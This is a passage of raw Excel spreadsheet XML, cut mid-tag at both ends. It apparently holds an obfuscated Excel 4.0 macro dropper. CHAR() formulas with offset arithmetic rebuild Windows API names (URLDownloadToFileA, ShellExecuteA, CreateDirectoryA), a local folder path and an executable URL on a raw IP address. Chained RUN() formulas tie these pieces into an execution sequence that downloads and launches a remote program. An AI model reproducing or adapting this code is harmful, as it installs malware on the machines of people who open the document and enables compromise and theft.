t="str"><f>CONCATENATE($Q$1088,$AH$102,$GU$1137,$BI$1274,$DU$154,$N$1674,$HO$198,$EN$1033,$FU$1650,$EC$956,$FA$1856,$HA$374,$F$1572,$EB$1374,$BU$1204,$AC$1945,$EE$765,$EG$145)</f><v>URLDownloadToFileA</v></c></row><row r="935" spans="161:177" x14ac:dyDescent="0.25"><c r="FE935"><v>50</v></c></row><row r="943" spans="161:177" x14ac:dyDescent="0.25"><c r="FU943"><v>833</v></c></row><row r="945" spans="32:192" x14ac:dyDescent="0.25"><c r="AF945"><v>99</v></c></row><row r="946" spans="32:192" x14ac:dyDescent="0.25"><c r="BI946" t="str"><f>CHAR($W$790-357)</f><v>:</v></c><c r="EG946"><v>766</v></c></row><row r="950" spans="32:192" x14ac:dyDescent="0.25"><c r="GJ950" t="str"><f>CONCATENATE($ED$1874,$DP$122,$AS$1732,$DE$275,$AU$1798,$GW$353,$AL$807,$AS$245,$BA$986,$IF$231,$L$1798,$CR$645,$ES$1707,$CO$1411,$FV$1628,$X$350,$AA$1175,$HN$770,$DN$24,$BO$286,$GT$1132,$FY$1105,$BT$1279,$FI$416,$CV$76,$HJ$1817,$GF$1470,$HO$1953,$FN$428)</f><v>C:\QWSdhvR\TclgKas\spjCyVr.ex</v></c></row><row r="953" spans="32:192" x14ac:dyDescent="0.25"><c r="CP953" t="str"><f>CHAR($HM$1936-757)</f><v>c</v></c></row><row r="955" spans="32:192" x14ac:dyDescent="0.25"><c r="DW955"><v>54</v></c></row><row r="956" spans="32:192" x14ac:dyDescent="0.25"><c r="EC956" t="str"><f>CHAR($AQ$1327-757)</f><v>a</v></c></row><row r="963" spans="51:89" x14ac:dyDescent="0.25"><c r="CK963" t="b"><f>RUN($EX$1278)</f><v>0</v></c></row><row r="975" spans="51:89" x14ac:dyDescent="0.25"><c r="AY975" t="str"><f>CHAR($FL$349-757)</f><v>p</v></c></row><row r="979" spans="53:153" x14ac:dyDescent="0.25"><c r="EW979" t="str"><f>CHAR($FZ$292-757)</f><v>r</v></c></row><row r="986" spans="53:153" x14ac:dyDescent="0.25"><c r="BA986" t="str"><f>CHAR($CS$248-684)</f><v>v</v></c><c r="ES986"><v>404</v></c></row><row r="988" spans="53:153" x14ac:dyDescent="0.25"><c r="CJ988"><v>3</v></c></row><row r="994" spans="59:136" x14ac:dyDescent="0.25"><c r="EF994" t="str"><f>CHAR($HT$1631-757)</f><v>A</v></c></row><row r="995" spans="59:136" x14ac:dyDescent="0.25"><c r="BG995"><v>792</v></c><c r="DN995" t="str"><f>CHAR($HD$137-357)</f><v>p</v></c></row><row r="996" spans="59:136" x14ac:dyDescent="0.25"><c r="CY996" t="str"><f>CONCATENATE($EY$1800)</f><v>Open</v></c></row><row r="1015" spans="6:188" x14ac:dyDescent="0.25"><c r="GF1015" t="str"><f>CONCATENATE($GR$347)</f><v>Shell32</v></c></row><row r="1017" spans="6:188" x14ac:dyDescent="0.25"><c r="F1017"><v>858</v></c></row><row r="1033" spans="144:144" x14ac:dyDescent="0.25"><c r="EN1033" t="str"><f>CHAR($FW$88-757)</f><v>l</v></c></row><row r="1047" spans="11:193" x14ac:dyDescent="0.25"><c r="K1047"><v>71</v></c></row><row r="1052" spans="11:193" x14ac:dyDescent="0.25"><c r="GK1052" t="b"><f>RUN($CK$963)</f><v>0</v></c></row><row r="1054" spans="11:193" x14ac:dyDescent="0.25"><c r="CO1054"><v>57</v></c></row><row r="1055" spans="11:193" x14ac:dyDescent="0.25"><c r="EF1055"><v>854</v></c></row><row r="1061" spans="13:98" x14ac:dyDescent="0.25"><c r="P1061"><v>83</v></c><c r="CT1061"><v>781</v></c></row><row r="1062" spans="13:98" x14ac:dyDescent="0.25"><c r="M1062"><v>97</v></c></row><row r="1078" spans="10:124" x14ac:dyDescent="0.25"><c r="BJ1078" t="b"><f>RUN($HZ$1140)</f><v>0</v></c></row><row r="1082" spans="10:124" x14ac:dyDescent="0.25"><c r="J1082"><v>6</v></c></row><row r="1085" spans="10:124" x14ac:dyDescent="0.25"><c r="DT1085"><v>10</v></c></row><row r="1088" spans="10:124" x14ac:dyDescent="0.25"><c r="Q1088" t="str"><f>CHAR($HL$630-757)</f><v>U</v></c></row><row r="1089" spans="15:205" x14ac:dyDescent="0.25"><c r="ES1089"><v>54</v></c></row><row r="1092" spans="15:205" x14ac:dyDescent="0.25"><c r="GW1092" t="b"><f>RUN($DR$611)</f><v>0</v></c></row><row r="1093" spans="15:205" x14ac:dyDescent="0.25"><c r="O1093"><v>871</v></c></row><row r="1094" spans="15:205" x14ac:dyDescent="0.25"><c r="CW1094" t="str"><f>CHAR($EI$1431-357)</f><v>1</v></c></row><row r="1101" spans="15:205" x14ac:dyDescent="0.25"><c r="BL1101" t="b"><f>RUN($HQ$337)</f><v>0</v></c></row><row r="1105" spans="39:208" x14ac:dyDescent="0.25"><c r="FY1105" t="str"><f>CHAR($C$1898-684)</f><v>j</v></c></row><row r="1109" spans="39:208" x14ac:dyDescent="0.25"><c r="AM1109" t="b"><f>RUN($BV$1797)</f><v>0</v></c><c r="GZ1109"><v>403</v></c></row><row r="1116" spans="39:208" x14ac:dyDescent="0.25"><c r="FV1116" t="b"><f>RUN($AL$657)</f><v>0</v></c></row><row r="1117" spans="39:208" x14ac:dyDescent="0.25"><c r="DW1117" t="b"><f>RUN($HO$1234)</f><v>0</v></c><c r="GK1117"><v>118</v></c></row><row r="1132" spans="111:202" x14ac:dyDescent="0.25"><c r="GT1132" t="str"><f>CHAR($S$855-684)</f><v>p</v></c></row><row r="1134" spans="111:202" x14ac:dyDescent="0.25"><c r="DK1134"><v>88</v></c></row><row r="1135" spans="111:202" x14ac:dyDescent="0.25"><c r="DG1135"><v>858</v></c></row><row r="1137" spans="37:234" x14ac:dyDescent="0.25"><c r="GU1137" t="str"><f>CHAR($FU$943-757)</f><v>L</v></c></row><row r="1140" spans="37:234" x14ac:dyDescent="0.25"><c r="HZ1140" t="b"><f>RUN($EX$1451)</f><v>0</v></c></row><row r="1143" spans="37:234" x14ac:dyDescent="0.25"><c r="DK1143"><v>67</v></c></row><row r="1144" spans="37:234" x14ac:dyDescent="0.25"><c r="BE1144" t="str"><f>CHAR($DG$1135-757)</f><v>e</v></c></row><row r="1145" spans="37:234" x14ac:dyDescent="0.25"><c r="AK1145"><v>28</v></c></row><row r="1149" spans="37:234" x14ac:dyDescent="0.25"><c r="GY1149" t="b"><f>RUN($GK$1052)</f><v>0</v></c></row><row r="1155" spans="41:188" x14ac:dyDescent="0.25"><c r="GF1155"><v>51</v></c></row><row r="1158" spans="41:188" x14ac:dyDescent="0.25"><c r="CW1158"><v>785</v></c></row><row r="1160" spans="41:188" x14ac:dyDescent="0.25"><c r="FE1160" t="b"><f>RUN($CN$1168)</f><v>0</v></c></row><row r="1165" spans="41:188" x14ac:dyDescent="0.25"><c r="AO1165" t="str"><f>CHAR($DW$955-4)</f><v>2</v></c></row><row r="1168" spans="41:188" x14ac:dyDescent="0.25"><c r="CN1168" t="b"><f>RUN($AH$392)</f><v>0</v></c></row><row r="1175" spans="27:27" x14ac:dyDescent="0.25"><c r="AA1175" t="str"><f>CHAR($CT$1061-684)</f><v>a</v></c></row><row r="1185" spans="44:215" x14ac:dyDescent="0.25"><c r="BS1185"><v>874</v></c><c r="HG1185"><v>93</v></c></row><row r="1186" spans="44:215" x14ac:dyDescent="0.25"><c r="AR1186" t="str"><f>CHAR($EF$1055-757)</f><v>a</v></c></row><row r="1192" spans="44:215" x14ac:dyDescent="0.25"><c r="BH1192"><v>15</v></c></row><row r="1204" spans="70:226" x14ac:dyDescent="0.25"><c r="BU1204" t="str"><f>CHAR($BM$1419-757)</f><v>i</v></c></row><row r="1206" spans="70:226" x14ac:dyDescent="0.25"><c r="BR1206" t="b"><f>RUN($GW$1092)</f><v>0</v></c></row><row r="1207" spans="70:226" x14ac:dyDescent="0.25"><c r="GN1207" t="b"><f>RUN($BJ$1078)</f><v>0</v></c></row><row r="1208" spans="70:226" x14ac:dyDescent="0.25"><c r="EG1208"><v>827</v></c></row><row r="1215" spans="70:226" x14ac:dyDescent="0.25"><c r="HR1215" t="b"><f>RUN($G$1305)</f><v>0</v></c></row><row r="1219" spans="5:175" x14ac:dyDescent="0.25"><c r="CN1219" t="b"><f>RUN($IA$771)</f><v>0</v></c></row><row r="1220" spans="5:175" x14ac:dyDescent="0.25"><c r="FS1220" t="str"><f>CONCATENATE($AJ$1985)</f><v>Kernel32</v></c></row><row r="1222" spans="5:175" x14ac:dyDescent="0.25"><c r="E1222" t="b"><f>RUN($GW$1590)</f><v>0</v></c></row><row r="1227" spans="5:175" x14ac:dyDescent="0.25"><c r="BC1227" t="str"><f>CHAR($P$1061-4)</f><v>O</v></c></row><row r="1234" spans="1:223" x14ac:dyDescent="0.25"><c r="HO1234" t="b"><f>RUN($A$1236)</f><v>0</v></c></row><row r="1235" spans="1:223" x14ac:dyDescent="0.25"><c r="EN1235"><v>825</v></c></row><row r="1236" spans="1:223" x14ac:dyDescent="0.25"><c r="A1236" t="b"><f>RUN($EY$419)</f><v>0</v></c></row><row r="1243" spans="1:223" x14ac:dyDescent="0.25"><c r="AU1243" t="str"><f>CONCATENATE($BO$1249)</f><v>e</v></c></row><row r="1245" spans="1:223" x14ac:dyDescent="0.25"><c r="CJ1245" t="b"><f>RUN($HM$1708)</f><v>0</v></c></row><row r="1246" spans="1:223" x14ac:dyDescent="0.25"><c r="HF1246"><v>839</v></c></row><row r="1247" spans="1:223" x14ac:dyDescent="0.25"><c r="CF1247" t="str"><f>CHAR($F$1017-757)</f><v>e</v></c></row><row r="1249" spans="50:194" x14ac:dyDescent="0.25"><c r="BO1249" t="str"><f>CHAR($HK$1431-684)</f><v>e</v></c></row><row r="1250" spans="50:194" x14ac:dyDescent="0.25"><c r="GL1250"><v>87</v></c></row><row r="1257" spans="50:194" x14ac:dyDescent="0.25"><c r="AX1257" t="str"><f>CHAR($DV$1402-757)</f><v>y</v></c></row><row r="1258" spans="50:194" x14ac:dyDescent="0.25"><c r="DX1258" t="b"><f>RUN($AX$1676)</f><v>0</v></c></row><row r="1259" spans="50:194" x14ac:dyDescent="0.25"><c r="DT1259" t="str"><f>CHAR($EL$1340-757)</f><v>h</v></c><c r="EU1259"><v>12</v></c></row><row r="1270" spans="36:157" x14ac:dyDescent="0.25"><c r="DB1270"><v>873</v></c><c r="FA1270"><v>868</v></c></row><row r="1271" spans="36:157" x14ac:dyDescent="0.25"><c r="BG1271" t="str"><f>CHAR($CC$1913-4)</f><v>L</v></c></row><row r="1272" spans="36:157" x14ac:dyDescent="0.25"><c r="AJ1272" t="b"><f>RUN($GP$367)</f><v>0</v></c></row><row r="1274" spans="36:157" x14ac:dyDescent="0.25"><c r="BI1274" t="str"><f>CHAR($EN$1235-757)</f><v>D</v></c></row><row r="1277" spans="36:157" x14ac:dyDescent="0.25"><c r="BH1277"><v>53</v></c></row><row r="1278" spans="36:157" x14ac:dyDescent="0.25"><c r="EX1278" t="b"><f>RUN($HY$1619)</f><v>0</v></c></row><row r="1279" spans="36:157" x14ac:dyDescent="0.25"><c r="BT1279" t="str"><f>CHAR($FT$894-684)</f><v>C</v></c></row><row r="1282" spans="68:231" x14ac:dyDescent="0.25"><c r="FU1282" t="str"><f>CHAR($GZ$1109-357)</f><v>.</v></c></row><row r="1283" spans="68:231" x14ac:dyDescent="0.25"><c r="GW1283" t="b"><f>RUN($FQ$1852)</f><v>0</v></c></row><row r="1284" spans="68:231" x14ac:dyDescent="0.25"><c r="HW1284" t="b"><f>RUN($S$1444)</f><v>0</v></c></row><row r="1289" spans="68:231" x14ac:dyDescent="0.25"><c r="FD1289" t="b"><f>RUN($AT$1478)</f><v>0</v></c></row><row r="1293" spans="68:231" x14ac:dyDescent="0.25"><c r="BP1293" t="b"><f>RUN($CX$87)</f><v>0</v></c></row><row r="1295" spans="68:231" x14ac:dyDescent="0.25"><c r="GT1295" t="b"><f>RUN($EX$630)</f><v>0</v></c></row><row r="1298" spans="7:180" x14ac:dyDescent="0.25"><c r="FX1298" t="str"><f>CONCATENATE($CP$472,$CB$1997,$AK$1802,$AR$1186,$HJ$213,$CF$1247,$DR$1386,$GR$1350,$EW$979,$BE$1144,$CP$953,$DS$1639,$FD$1724,$ER$151,$AX$1257,$EF$994)</f><v>CreateDirectoryA</v></c></row><row r="1305" spans="7:180" x14ac:dyDescent="0.25"><c r="G1305" t="b"><f>RUN($DK$208)</f><v>0</v></c></row><row r="1311" spans="7:180" x14ac:dyDescent="0.25"><c r="AA1311"><v>71</v></c></row><row r="1312" spans="7:180" x14ac:dyDescent="0.25"><c r="CC1312" t="b"><f>RUN($Z$403)</f><v>0</v></c></row><row r="1315" spans="43:179" x14ac:dyDescent="0.25"><c r="CL1315" t="b"><f>RUN($DX$1258)</f><v>0</v></c></row><row r="1317" spans="43:179" x14ac:dyDescent="0.25"><c r="CK1317" t="str"><f>CHAR($HH$254-4)</f><v>N</v></c><c r="DB1317" t="b"><f>RUN($GU$597)</f><v>0</v></c><c r="FW1317"><v>55</v></c></row><row r="1319" spans="43:179" x14ac:dyDescent="0.25"><c r="CD1319" t="b"><f>RUN($HV$653)</f><v>0</v></c></row><row r="1326" spans="43:179" x14ac:dyDescent="0.25"><c r="FD1326"><v>36</v></c></row><row r="1327" spans="43:179" x14ac:dyDescent="0.25"><c r="AQ1327"><v>854</v></c></row><row r="1330" spans="36:142" x14ac:dyDescent="0.25"><c r="AJ1330"><v>783</v></c></row><row r="1340" spans="36:142" x14ac:dyDescent="0.25"><c r="EL1340"><v>861</v></c></row><row r="1349" spans="83:200" x14ac:dyDescent="0.25"><c r="GI1349" t="str"><f>CHAR($GG$896-4)</f><v>R</v></c></row><row r="1350" spans="83:200" x14ac:dyDescent="0.25"><c r="GR1350" t="str"><f>CHAR($EK$114-757)</f><v>i</v></c></row><row r="1354" spans="83:200" x14ac:dyDescent="0.25"><c r="CE1354"><v>408</v></c></row><row r="1355" spans="83:200" x14ac:dyDescent="0.25"><c r="FI1355"><v>70</v></c></row><row r="1361" spans="132:224" x14ac:dyDescent="0.25"><c r="HP1361"><v>37</v></c></row><row r="1368" spans="132:224" x14ac:dyDescent="0.25"><c r="GD1368" t="str"><f>CHAR($BS$1185-757)</f><v>u</v></c></row><row r="1374" spans="132:224" x14ac:dyDescent="0.25"><c r="EB1374" t="str"><f>CHAR($EG$1208-757)</f><v>F</v></c></row><row r="1378" spans="30:187" x14ac:dyDescent="0.25"><c r="GE1378" t="b"><f>RUN($BI$422)</f><v>0</v></c></row><row r="1385" spans="30:187" x14ac:dyDescent="0.25"><c r="CB1385" t="str"><f>CHAR($DT$197-4)</f><v>K</v></c></row><row r="1386" spans="30:187" x14ac:dyDescent="0.25"><c r="DR1386" t="str"><f>CHAR($FH$873-757)</f><v>D</v></c></row><row r="1390" spans="30:187" x14ac:dyDescent="0.25"><c r="AD1390"><v>114</v></c></row><row r="1392" spans="30:187" x14ac:dyDescent="0.25"><c r="DK1392" t="str"><f>CHAR($FA$1927-4)</f><v>h</v></c></row><row r="1397" spans="126:167" x14ac:dyDescent="0.25"><c r="FK1397"><v>767</v></c></row><row r="1402" spans="126:167" x14ac:dyDescent="0.25"><c r="DV1402"><v>878</v></c></row><row r="1411" spans="65:184" x14ac:dyDescent="0.25"><c r="CO1411" t="str"><f>CHAR($BG$995-684)</f><v>l</v></c></row><row r="1416" spans="65:184" x14ac:dyDescent="0.25"><c r="FL1416" t="b"><f>RUN($HH$333)</f><v>0</v></c></row><row r="1417" spans="65:184" x14ac:dyDescent="0.25"><c r="GB1417" t="str"><f>CHAR($EN$1574-757)</f><v>A</v></c></row><row r="1418" spans="65:184" x14ac:dyDescent="0.25"><c r="EH1418"><v>10</v></c></row><row r="1419" spans="65:184" x14ac:dyDescent="0.25"><c r="BM1419"><v>862</v></c></row><row r="1420" spans="65:184" x14ac:dyDescent="0.25"><c r="EV1420" t="str"><f>CHAR($HJ$1692-357)</f><v>0</v></c></row><row r="1423" spans="65:184" x14ac:dyDescent="0.25"><c r="FM1423" t="str"><f>CHAR($DK$76-4)</f><v>l</v></c></row><row r="1431" spans="139:219" x14ac:dyDescent="0.25"><c r="EI1431"><v>406</v></c><c r="HK1431"><v>785</v></c></row><row r="1442" spans="19:242" x14ac:dyDescent="0.25"><c r="CV1442"><v>858</v></c></row><row r="1443" spans="19:242" x14ac:dyDescent="0.25"><c r="AD1443"><v>858</v></c><c r="IH1443"><v>64</v></c></row><row r="1444" spans="19:242" x14ac:dyDescent="0.25"><c r="S1444" t="b"><f>RUN($FT$5)</f><v>0</v></c></row><row r="1450" spans="19:242" x14ac:dyDescent="0.25"><c r="FP1450" t="b"><f>RUN($DA$669)</f><v>0</v></c></row><row r="1451" spans="19:242" x14ac:dyDescent="0.25"><c r="CV1451"><v>454</v></c><c r="EX1451" t="b"><f>RUN($FP$1796)</f><v>0</v></c></row><row r="1453" spans="19:242" x14ac:dyDescent="0.25"><c r="GY1453"><v>89</v></c></row><row r="1457" spans="130:244" x14ac:dyDescent="0.25"><c r="DZ1457" t="str"><f>CHAR($CV$1451-357)</f><v>a</v></c></row><row r="1460" spans="130:244" x14ac:dyDescent="0.25"><c r="IJ1460" t="str"><f>CHAR($AD$1390-4)</f><v>n</v></c></row><row r="1470" spans="130:244" x14ac:dyDescent="0.25"><c r="GF1470" t="str"><f>CHAR($AN$1626-684)</f><v>.</v></c></row><row r="1475" spans="46:187" x14ac:dyDescent="0.25"><c r="GE1475" t="str"><f>CHAR($CN$376-357)</f><v>2</v></c></row><row r="1478" spans="46:187" x14ac:dyDescent="0.25"><c r="AT1478" t="b"><f>RUN($IG$816)</f><v>0</v></c></row><row r="1484" spans="46:187" x14ac:dyDescent="0.25"><c r="EK1484"><v>404</v></c></row><row r="1487" spans="46:187" x14ac:dyDescent="0.25"><c r="CJ1487" t="str"><f>CONCATENATE($GV$903)</f><v>URLDownloadToFileA</v></c></row><row r="1496" spans="134:156" x14ac:dyDescent="0.25"><c r="EZ1496" t="str"><f>CHAR($DS$263-357)</f><v>1</v></c></row><row r="1502" spans="134:156" x14ac:dyDescent="0.25"><c r="ED1502" t="b"><f>RUN($FV$1116)</f><v>0</v></c></row><row r="1508" spans="67:202" x14ac:dyDescent="0.25"><c r="GH1508" t="b"><f>RUN($BP$1293)</f><v>0</v></c></row><row r="1510" spans="67:202" x14ac:dyDescent="0.25"><c r="GT1510"><v>5</v></c></row><row r="1515" spans="67:202" x14ac:dyDescent="0.25"><c r="BO1515" t="b"><f>RUN($GN$1207)</f><v>0</v></c></row><row r="1522" spans="58:175" x14ac:dyDescent="0.25"><c r="FS1522"><v>7</v></c></row><row r="1529" spans="58:175" x14ac:dyDescent="0.25"><c r="FF1529"><v>75</v></c></row><row r="1530" spans="58:175" x14ac:dyDescent="0.25"><c r="BF1530"><v>473</v></c></row><row r="1544" spans="65:65" x14ac:dyDescent="0.25"><c r="BM1544"><v>765</v></c></row><row r="1554" spans="37:154" x14ac:dyDescent="0.25"><c r="AK1554" t="b"><f>RUN($AL$212)</f><v>0</v></c></row><row r="1567" spans="37:154" x14ac:dyDescent="0.25"><c r="EX1567"><v>105</v></c></row><row r="1572" spans="6:214" x14ac:dyDescent="0.25"><c r="F1572" t="str"><f>CHAR($HS$84-757)</f><v>o</v></c></row><row r="1574" spans="6:214" x14ac:dyDescent="0.25"><c r="EN1574"><v>822</v></c></row><row r="1576" spans="6:214" x14ac:dyDescent="0.25"><c r="BN1576"><v>41</v></c></row><row r="1578" spans="6:214" x14ac:dyDescent="0.25"><c r="CP1578" t="b"><f>RUN($GH$1508)</f><v>0</v></c></row><row r="1581" spans="6:214" x14ac:dyDescent="0.25"><c r="FI1581" t="b"><f>RUN($GU$1729)</f><v>0</v></c></row><row r="1582" spans="6:214" x14ac:dyDescent="0.25"><c r="HF1582"><v>876</v></c></row><row r="1583" spans="6:214" x14ac:dyDescent="0.25"><c r="GQ1583"><v>403</v></c></row><row r="1589" spans="144:234" x14ac:dyDescent="0.25"><c r="EN1589" t="str"><f>CONCATENATE($DJ$145,$DY$1915)</f><v>http://185.130.215.62/italias.exe</v></c></row><row r="1590" spans="144:234" x14ac:dyDescent="0.25"><c r="GW1590" t="b"><f>RUN($BL$1867)</f><v>0</v></c><c r="GY1590"><v>79</v></c></row><row r="1595" spans="144:234" x14ac:dyDescent="0.25"><c r="HZ1595"><v>867</v></c></row><row r="1596" spans="144:234" x14ac:dyDescent="0.25"><c r="FU1596"><v>57</v></c></row><row r="1607" spans="76:221" x14ac:dyDescent="0.25"><c r="BX1607"><v>410</v></c></row><row r="1609" spans="76:221" x14ac:dyDescent="0.25"><c r="HM1609"><v>407</v></c></row><row r="1619" spans="40:233" x14ac:dyDescent="0.25"><c r="HY1619" t="b"><f>RUN($GG$1716)</f><v>0</v></c></row><row r="1624" spans="40:233" x14ac:dyDescent="0.25"><c r="FG1624"><v>70</v></c></row><row r="1626" spans="40:233" x14ac:dyDescent="0.25"><c r="AN1626"><v>730</v></c><c r="BK1626"><v>35</v></c></row><row r="1628" spans="40:233" x14ac:dyDescent="0.25"><c r="FV1628" t="str"><f>CHAR($IF$395-684)</f><v>g</v></c></row><row r="1631" spans="40:233" x14ac:dyDescent="0.25"><c r="HT1631"><v>822</v></c></row><row r="1635" spans="57:183" x14ac:dyDescent="0.25"><c r="EY1635" t="str"><f>CHAR($GK$1117-4)</f><v>r</v></c></row><row r="1637" spans="57:183" x14ac:dyDescent="0.25"><c r="FX1637" t="str"><f>CHAR($HQ$262-4)</f><v>l</v></c></row><row r="1639" spans="57:183" x14ac:dyDescent="0.25"><c r="DS1639" t="str"><f>CHAR($HU$195-757)</f><v>t</v></c></row><row r="1642" spans="57:183" x14ac:dyDescent="0.25"><c r="BE1642" t="b"><f>RUN($CY$1751)</f><v>0</v></c><c r="GA1642"><v>19</v></c></row><row r="1646" spans="57:183" x14ac:dyDescent="0.25"><c r="BU1646" t="b"><f>RUN($FC$621)</f><v>0</v></c></row><row r="1650" spans="4:221" x14ac:dyDescent="0.25"><c r="FU1650" t="str"><f>CHAR($GB$368-757)</f><v>o</v></c></row><row r="1657" spans="4:221" x14ac:dyDescent="0.25"><c r="D1657"><v>784</v></c></row><row r="1660" spans="4:221" x14ac:dyDescent="0.25"><c r="GI1660" t="str"><f>CHAR($GQ$1583-357)</f><v>.</v></c><c r="HM1660"><v>55</v></c></row><row r="1661" spans="4:221" x14ac:dyDescent="0.25"><c r="FG1661" t="str"><f>CHAR($GZ$716-357)</f><v>.</v></c><c r="HE1661" t="str"><f>CHAR($DX$69-757)</f><v>O</v></c></row><row r="1672" spans="14:192" x14ac:dyDescent="0.25"><c r="GJ1672"><v>54</v></c></row><row r="1673" spans="14:192" x14ac:dyDescent="0.25"><c r="AW1673"><v>39</v></c></row><row r="1674" spans="14:192" x14ac:dyDescent="0.25"><c r="N1674" t="str"><f>CHAR($HF$1582-757)</f><v>w</v></c></row><row r="1676" spans="14:192" x14ac:dyDescent="0.25"><c r="AX1676" t="b"><f>RUN($CC$1312)</f><v>0</v></c></row><row r="1687" spans="76:218" x14ac:dyDescent="0.25"><c r="BX1687"><v>751</v></c></row><row r="1690" spans="76:218" x14ac:dyDescent="0.25"><c r="DT1690"><v>78</v></c></row><row r="1692" spans="76:218" x14ac:dyDescent="0.25"><c r="HJ1692"><v>405</v></c></row><row r="1697" spans="2:221" x14ac:dyDescent="0.25"><c r="CE1697"><v>68</v></c><c r="FL1697"><v>19</v></c></row><row r="1704" spans="2:221" x14ac:dyDescent="0.25"><c r="B1704" t="str"><f>CHAR($BB$1746-757)</f><v>n</v></c></row><row r="1705" spans="2:221" x14ac:dyDescent="0.25"><c r="HA1705" t="b"><f>RUN($BE$464)</f><v>0</v></c></row><row r="1706" spans="2:221" x14ac:dyDescent="0.25"><c r="AS1706" t="b"><f>RUN($CD$1319)</f><v>0</v></c></row><row r="1707" spans="2:221" x14ac:dyDescent="0.25"><c r="ES1707" t="str"><f>CHAR($AJ$1330-684)</f><v>c</v></c></row><row r="1708" spans="2:221" x14ac:dyDescent="0.25"><c r="HM1708" t="b"><f>RUN($GL$570)</f><v>0</v></c></row><row r="1716" spans="160:189" x14ac:dyDescent="0.25"><c r="GG1716" t="b"><f>RUN($EG$134)</f><v>0</v></c></row><row r="1724" spans="160:189" x14ac:dyDescent="0.25"><c r="FD1724" t="str"><f>CHAR($FA$1270-757)</f><v>o</v></c></row><row r="1729" spans="24:213" x14ac:dyDescent="0.25"><c r="GU1729" t="b"><f>RUN($HW$1284)</f><v>0</v></c></row><row r="1732" spans="24:213" x14ac:dyDescent="0.25"><c r="AS1732" t="str"><f>CHAR($DE$41-684)</f><v>\</v></c></row><row r="1733" spans="24:213" x14ac:dyDescent="0.25"><c r="X1733" t="b"><f>RUN($GE$1378)</f><v>0</v></c></row><row r="1736" spans="24:213" x14ac:dyDescent="0.25"><c r="HE1736" t="b"><f>RUN($AV$179)</f><v>0</v></c></row><row r="1746" spans="47:236" x14ac:dyDescent="0.25"><c r="BB1746"><v>867</v></c><c r="CH1746" t="str"><f>CHAR($C$326-757)</f><v>l</v></c></row><row r="1750" spans="47:236" x14ac:dyDescent="0.25"><c r="FJ1750"><v>56</v></c></row><row r="1751" spans="47:236" x14ac:dyDescent="0.25"><c r="CY1751" t="b"><f>RUN($AJ$1272)</f><v>0</v></c></row><row r="1755" spans="47:236" x14ac:dyDescent="0.25"><c r="EE1755"><v>45</v></c></row><row r="1756" spans="47:236" x14ac:dyDescent="0.25"><c r="IB1756"><v>71</v></c></row><row r="1759" spans="47:236" x14ac:dyDescent="0.25"><c r="DD1759"><v>454</v></c></row><row r="1760" spans="47:236" x14ac:dyDescent="0.25"><c r="AU1760" t="str"><f>CHAR($BV$467-357)</f><v>h</v></c></row><row r="1772" spans="61:61" x14ac:dyDescent="0.25"><c r="BI1772"><v>10</v></c></row><row r="1778" spans="157:172" x14ac:dyDescent="0.25"><c r="FA1778" t="b"><f>RUN($AK$1554)</f><v>0</v></c></row><row r="1779" spans="157:172" x14ac:dyDescent="0.25"><c r="FP1779"><v>856</v></c></row><row r="1794" spans="12:201" x14ac:dyDescent="0.25"><c r="GS1794"><v>403</v></c></row><row r="1796" spans="12:201" x14ac:dyDescent="0.25"><c r="FP1796" t="b"><f>RUN($E$1222)</f><v>0</v></c></row><row r="1797" spans="12:201" x14ac:dyDescent="0.25"><c r="BV1797" t="b"><f>RUN($FI$1581)</f><v>0</v></c></row><row r="1798" spans="12:201" x14ac:dyDescent="0.25"><c r="L1798" t="str"><f>CHAR($DG$505-684)</f><v>\</v></c><c r="AU1798" t="str"><f>CHAR($S$882-684)</f><v>W</v></c></row><row r="1800" spans="12:201" x14ac:dyDescent="0.25"><c r="EY1800" t="str"><f>CONCATENATE($HE$1661,$AY$975,$EM$10,$B$1704)</f><v>Open</v></c></row><row r="1802" spans="12:201" x14ac:dyDescent="0.25"><c r="AK1802" t="str"><f>CHAR($AD$1443-757)</f><v>e</v></c></row><row r="1804" spans="12:201" x14ac:dyDescent="0.25"><c r="BD1804" t="b"><f>RUN($BL$1101)</f><v>0</v></c></row><row r="1805" spans="12:201" x14ac:dyDescent="0.25"><c r="AF1805"><v>458</v></c></row><row r="1808" spans="12:201" x14ac:dyDescent="0.25"><c r="FL1808" t="str"><f>CONCATENATE($FG$703,$DT$1259,$EU$707,$CH$1746,$ER$732,$HH$1908,$R$455,$CP$557,$CH$189,$GD$1368,$DE$800,$IE$1951,$GB$1417)</f><v>ShellExecuteA</v></c></row><row r="1817" spans="114:218" x14ac:dyDescent="0.25"><c r="HJ1817" t="str"><f>CHAR($EW$217-684)</f><v>r</v></c></row><row r="1820" spans="114:218" x14ac:dyDescent="0.25"><c r="DJ1820" t="b"><f>RUN($BE$1642)</f><v>0</v></c></row><row r="1826" spans="33:204" x14ac:dyDescent="0.25"><c r="AY1826" t="b"><f>RUN($X$1733)</f><v>0</v></c><c r="GV1826"><v>770</v></c></row><row r="1831" spans="33:204" x14ac:dyDescent="0.25"><c r="FO1831"><v>95</v></c></row><row r="1837" spans="33:204" x14ac:dyDescent="0.25"><c r="AG1837" t="b"><f>RUN($AE$41)</f><v>0</v></c></row><row r="1840" spans="33:204" x14ac:dyDescent="0.25"><c r="BZ1840" t="str"><f>CONCATENATE($FX$1298)</f><v>CreateDirectoryA</v></c></row><row r="1852" spans="38:229" x14ac:dyDescent="0.25"><c r="FQ1852" t="b"><f>RUN($Z$446)</f><v>0</v></c></row><row r="1853" spans="38:229" x14ac:dyDescent="0.25"><c r="AL1853"><v>19</v></c></row><row r="1854" spans="38:229" x14ac:dyDescent="0.25"><c r="HU1854" t="str"><f>CHAR($HM$1609-357)</f><v>2</v></c></row><row r="1855" spans="38:229" x14ac:dyDescent="0.25"><c r="DS1855"><v>865</v></c></row><row r="1856" spans="38:229" x14ac:dyDescent="0.25"><c r="FA1856" t="str"><f>CHAR($EV$208-757)</f><v>d</v></c></row><row r="1858" spans="26:249" x14ac:dyDescent="0.25"><c r="FF1858" t="b"><f>RUN($CQ$791)</f><v>0</v></c></row><row r="1861" spans="26:249" x14ac:dyDescent="0.25"><c r="IO1861"><v>12</v></c></row><row r="1867" spans="26:249" x14ac:dyDescent="0.25"><c r="BL1867" t="b"><f>RUN($FF$1858)</f><v>0</v></c></row><row r="1869" spans="26:249" x14ac:dyDescent="0.25"><c r="FK1869" t="str"><f>CHAR($CP$813-4)</f><v>e</v></c></row><row r="1872" spans="26:249" x14ac:dyDescent="0.25"><c r="Z1872"><v>57</v></c></row><row r="1873" spans="15:134" x14ac:dyDescent="0.25"><c r="O1873"><v>473</v></c></row><row r="1874" spans="15:134" x14ac:dyDescent="0.25"><c r="ED1874" 